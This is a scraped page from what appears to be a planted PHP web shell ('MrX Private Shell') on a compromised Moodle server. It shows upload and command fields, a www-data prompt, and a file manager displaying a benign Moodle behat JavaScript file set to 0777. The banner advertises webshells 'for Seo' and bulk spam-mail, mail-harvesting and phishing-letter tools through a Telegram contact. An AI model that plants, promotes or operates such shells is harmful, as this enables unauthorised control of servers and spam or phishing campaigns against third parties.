__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

import Ajax from 'core/ajax';
import Templates from 'core/templates';
import PendingJS from 'core/pending';

/**
 * Enhancements for the step definitions page.
 *
 * @module tool_behat/steps
 * @copyright 2022 Catalyst IT EU
 * @author Mark Johnson <mark.johnson@catalyst-eu.net>
 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

/**
 * Call the get_entity_generator web service function
 *
 * Takes the name of an entity generator and returns an object containing a list of the required fields.
 *
 * @param {String} entityType
 * @returns {Promise}
 */
const getGeneratorEntities = (entityType) => Ajax.call([{
    methodname: 'tool_behat_get_entity_generator',
    args: {entitytype: entityType}
}])[0];

/**
 * Render HTML for required fields
 *
 * Takes the entity data returned from getGeneratorEntities and renders the HTML to display the required fields.
 *
 * @param {String} entityData
 * @return {Promise}
 */
const getRequiredFieldsContent = (entityData) => {
    if (!entityData.required?.length) {
        return Promise.resolve({
            html: '',
            js: ''
        });
    }
    return Templates.renderForPromise('tool_behat/steprequiredfields', {fields: entityData.required});
};

export const init = () => {
    // When an entity is selected in the "the following exist" step, fetch and display the required fields.
    document.addEventListener('change', async(e) => {
        const entityElement = e.target.closest('.entities');
        const stepElement = e.target.closest('.stepcontent');
        if (!entityElement || !stepElement) {
            return;
        }

        const pendingPromise = new PendingJS('tool_behat/steps:change');

        const entityData = await getGeneratorEntities(e.target.value);
        const {html, js} = await getRequiredFieldsContent(entityData);

        const stepRequiredFields = stepElement.querySelector('.steprequiredfields');
        if (stepRequiredFields) {
            await Templates.replaceNode(stepRequiredFields, html, js);
        } else {
            await Templates.appendNodeContents(stepElement, html, js);
        }
        pendingPromise.resolve();
    });
};

Filemanager

Name Type Size Permission Actions
steps.js File 2.79 KB 0777
Filemanager